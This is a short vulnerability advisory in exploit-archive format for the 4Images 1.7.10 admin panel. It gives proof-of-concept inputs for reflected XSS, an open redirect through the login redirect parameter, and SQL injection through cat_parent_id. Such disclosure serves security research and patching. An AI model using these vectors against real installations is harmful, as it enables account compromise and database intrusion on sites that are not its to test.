################################################################################################
#  
#  Exploit Title: 4Images Version: 1.7.10 Admin Panel Multiple Vulnerabilities
#  Script Page : http://www.4homepages.de
#  Date: 31-01-2012
#  Author : RandomStorm  - http://www.randomstorm.com
#  Avram Marius Gabriel (d3v1l)
#  Tested on: Windows XP & Mac (IE9 - Firefox 9.0)
#  
################################################################################################
# 
# Cross-Site Scripting (XSS)
# 
# Vector:  'acc91<script>alert(1)</script>9da1925478
# 
# http://4images.com/admin/categories.php?action=addcat&cat_parent_id=1 (XSS) 
#
################################################################################################ 
# 
# Open Redirect
# 
# 
# http://4images.com/admin/index.php?__csrf=931086345abbb83f9a70c87dc4719248&action=login&redirect=http://google.com&loginusername=admin&loginpassword=pass
#
#  <title>4images - Control Panel</title>
#      <meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1">
#      <link rel="stylesheet" href="./../admin/cpstyle.css">
#     <meta http-equiv="Refresh" content="0; URL=http://google.com">     
#  <script language="JavaScript">
#
#
################################################################################################ 
#
# Sql Injection
# 
# http://4images.com/admin/categories.php?action=addcat&cat_parent_id=1' (SQL Injection) 
#
################################################################################################